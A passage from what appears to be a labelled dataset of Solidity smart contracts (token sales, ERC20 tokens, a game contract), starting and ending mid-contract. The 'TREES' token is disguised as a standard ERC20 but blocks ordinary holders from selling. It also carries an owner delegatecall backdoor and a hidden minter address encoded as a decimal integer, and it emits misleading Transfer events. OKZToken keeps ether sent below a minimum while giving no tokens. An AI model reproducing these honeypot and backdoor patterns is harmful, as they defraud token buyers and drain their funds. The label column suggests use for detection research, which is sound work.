function buyTokens(address buyer, uint256 amount) whenNotPaused internal {
require (multiSig != 0x0);
require (msg.value >= 2 ether);
weiRaised = weiRaised.add(amount);
HostEther(buyer, amount);
multiSig.transfer(this.balance);
SendedEtherToMultiSig(multiSig,amount);
}
function () public payable {
buyTokens(msg.sender, msg.value);
}
function emergencyERC20Drain( ERC20 oddToken, uint amount ) public onlyOwner{
oddToken.transfer(owner, amount);
}
} | 1 | 4,359 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract TREES {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,627 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) public returns (bool);
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
}
contract OKZToken is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "OKZToken";
string public constant symbol = "OKZ";
uint public constant decimals = 18;
uint256 public totalSupply = 1000000000e18;
uint256 private totalReserved = (totalSupply.div(5)).mul(1);
uint256 private totalBounties = (totalSupply.div(5)).mul(1);
uint256 public totalDistributed = totalReserved.add(totalBounties);
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value;
uint256 public minReq;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function OKZToken (uint256 _value, uint256 _minReq) public {
owner = msg.sender;
value = _value;
minReq = _minReq;
balances[msg.sender] = totalDistributed;
}
function setParameters (uint256 _value, uint256 _minReq) onlyOwner public {
value = _value;
minReq = _minReq;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function airdrop(address[] addresses) onlyOwner canDistr public {
require(addresses.length <= 255);
require(value <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(value <= totalRemaining);
distr(addresses[i], value);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
if (msg.value < minReq){
toGive = value.sub(value);
}
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 | 2,693 |
pragma solidity 0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
OwnershipTransferred(owner, newOwner);
}
}
contract Pausable is Ownable {
bool public paused = false;
event Pause();
event Unpause();
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract Withdrawable is Ownable {
function withdrawEther(address _to, uint _value) onlyOwner public returns(bool) {
require(_to != address(0));
require(this.balance >= _value);
_to.transfer(_value);
return true;
}
function withdrawTokens(ERC20 _token, address _to, uint _value) onlyOwner public returns(bool) {
require(_to != address(0));
return _token.transfer(_to, _value);
}
}
contract ERC20 {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function allowance(address owner, address spender) public view returns(uint256);
function approve(address spender, uint256 value) public returns(bool);
}
contract ERC223 is ERC20 {
function transfer(address to, uint256 value, bytes data) public returns(bool);
}
contract ERC223Receiving {
function tokenFallback(address from, uint256 value, bytes data) external;
}
contract StandardToken is ERC223 {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
function StandardToken(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function balanceOf(address _owner) public view returns(uint256 balance) {
return balances[_owner];
}
function _transfer(address _to, uint256 _value, bytes _data) private returns(bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
bool is_contract = false;
assembly {
is_contract := not(iszero(extcodesize(_to)))
}
if(is_contract) {
ERC223Receiving receiver = ERC223Receiving(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns(bool) {
bytes memory empty;
return _transfer(_to, _value, empty);
}
function transfer(address _to, uint256 _value, bytes _data) public returns(bool) {
return _transfer(_to, _value, _data);
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
require(_to.length == _value.length);
for(uint i = 0; i < _to.length; i++) {
transfer(_to[i], _value[i]);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns(bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) {
uint oldValue = allowed[msg.sender][_spender];
if(_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() { require(!mintingFinished); _; }
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns(bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Token is CappedToken, BurnableToken, Withdrawable {
function Token() CappedToken(70000000 * 1 ether) StandardToken("IAM Aero", "IAM", 18) public {
}
function tokenFallback(address _from, uint256 _value, bytes _data) external {
require(false);
}
function transferOwner(address _from, address _to, uint256 _value) onlyOwner canMint public returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
bool is_contract = false;
assembly {
is_contract := not(iszero(extcodesize(_to)))
}
if(is_contract) {
bytes memory empty;
ERC223Receiving receiver = ERC223Receiving(_to);
receiver.tokenFallback(_from, _value, empty);
}
Transfer(_from, _to, _value);
return true;
}
}
contract Crowdsale is Pausable, Withdrawable, ERC223Receiving {
using SafeMath for uint;
struct Step {
uint priceTokenWei;
uint tokensForSale;
uint minInvestEth;
uint tokensSold;
uint collectedWei;
bool transferBalance;
bool sale;
bool issue;
}
Token public token;
address public beneficiary = 0x4ae7bdf9530cdB666FC14DF79C169e14504c621A;
Step[] public steps;
uint8 public currentStep = 0;
bool public crowdsaleClosed = false;
mapping(address => uint256) public canSell;
event Purchase(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
event Issue(address indexed holder, uint256 tokenAmount);
event Sell(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
event NewRate(uint256 rate);
event NextStep(uint8 step);
event CrowdsaleClose();
function Crowdsale() public {
token = new Token();
steps.push(Step(1 ether / 1000, 1000000 * 1 ether, 0.01 ether, 0, 0, true, false, true));
steps.push(Step(1 ether / 1000, 1500000 * 1 ether, 0.01 ether, 0, 0, true, false, true));
steps.push(Step(1 ether / 1000, 3000000 * 1 ether, 0.01 ether, 0, 0, true, false, true));
steps.push(Step(1 ether / 1000, 9000000 * 1 ether, 0.01 ether, 0, 0, true, false, true));
steps.push(Step(1 ether / 1000, 35000000 * 1 ether, 0.01 ether, 0, 0, true, false, true));
steps.push(Step(1 ether / 1000, 20500000 * 1 ether, 0.01 ether, 0, 0, true, true, true));
}
function() payable public {
purchase();
}
function tokenFallback(address _from, uint256 _value, bytes _data) external {
sell(_value);
}
function setTokenRate(uint _value) onlyOwner public {
require(!crowdsaleClosed);
steps[currentStep].priceTokenWei = 1 ether / _value;
NewRate(steps[currentStep].priceTokenWei);
}
function purchase() whenNotPaused payable public {
require(!crowdsaleClosed);
Step memory step = steps[currentStep];
require(msg.value >= step.minInvestEth);
require(step.tokensSold < step.tokensForSale);
uint sum = msg.value;
uint amount = sum.mul(1 ether).div(step.priceTokenWei);
uint retSum = 0;
if(step.tokensSold.add(amount) > step.tokensForSale) {
uint retAmount = step.tokensSold.add(amount).sub(step.tokensForSale);
retSum = retAmount.mul(step.priceTokenWei).div(1 ether);
amount = amount.sub(retAmount);
sum = sum.sub(retSum);
}
steps[currentStep].tokensSold = step.tokensSold.add(amount);
steps[currentStep].collectedWei = step.collectedWei.add(sum);
if(currentStep == 0) {
canSell[msg.sender] = canSell[msg.sender].add(amount);
}
if(step.transferBalance) {
uint p1 = sum.div(200);
(0xD8C7f2215f90463c158E91b92D81f0A1E3187C1B).transfer(p1.mul(3));
(0x8C8d80effb2c5C1E4D857e286822E0E641cA3836).transfer(p1.mul(3));
beneficiary.transfer(sum.sub(p1.mul(6)));
}
token.mint(msg.sender, amount);
if(retSum > 0) {
msg.sender.transfer(retSum);
}
Purchase(msg.sender, amount, sum);
}
function issue(address _to, uint256 _value) onlyOwner whenNotPaused public {
require(!crowdsaleClosed);
Step memory step = steps[currentStep];
require(step.issue);
require(step.tokensSold.add(_value) <= step.tokensForSale);
steps[currentStep].tokensSold = step.tokensSold.add(_value);
if(currentStep == 0) {
canSell[_to] = canSell[_to].add(_value);
}
token.mint(_to, _value);
Issue(_to, _value);
}
function sell(uint256 _value) whenNotPaused public {
require(!crowdsaleClosed);
require(canSell[msg.sender] >= _value);
require(token.balanceOf(msg.sender) >= _value);
Step memory step = steps[currentStep];
require(step.sale);
canSell[msg.sender] = canSell[msg.sender].sub(_value);
token.transferOwner(msg.sender, beneficiary, _value);
uint sum = _value.mul(step.priceTokenWei).div(1 ether);
msg.sender.transfer(sum);
Sell(msg.sender, _value, sum);
}
function nextStep(uint _value) onlyOwner public {
require(!crowdsaleClosed);
require(steps.length - 1 > currentStep);
currentStep += 1;
setTokenRate(_value);
NextStep(currentStep);
}
function closeCrowdsale() onlyOwner public {
require(!crowdsaleClosed);
beneficiary.transfer(this.balance);
token.mint(beneficiary, token.cap().sub(token.totalSupply()));
token.finishMinting();
token.transferOwnership(beneficiary);
crowdsaleClosed = true;
CrowdsaleClose();
}
} | 1 | 3,060 |
pragma solidity ^0.4.24;
contract RSEvents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularLastUnicorn is RSEvents {}
contract LastUnicorn is modularLastUnicorn {
using SafeMath for *;
using NameFilter for string;
using RSKeysCalc for uint256;
UnicornInterfaceForForwarder constant private TeamUnicorn = UnicornInterfaceForForwarder(0xBB14004A6f3D15945B3786012E00D9358c63c92a);
UnicornBookInterface constant private UnicornBook = UnicornBookInterface(0x98547788f328e1011065E4068A8D72bacA1DDB49);
string constant public name = "LastUnicorn Round #2";
string constant public symbol = "LUR2";
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => RSdatasets.Player) public plyr_;
mapping (uint256 => RSdatasets.PlayerRounds) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
RSdatasets.Round public round_;
uint256 public fees_ = 60;
uint256 public potSplit_ = 45;
constructor()
public
{
}
modifier isActivated() {
require(activated_ == true, "its not ready yet");
_;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "non smart contract address only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "too little money");
require(_eth <= 100000000000000000000000, "too much money");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
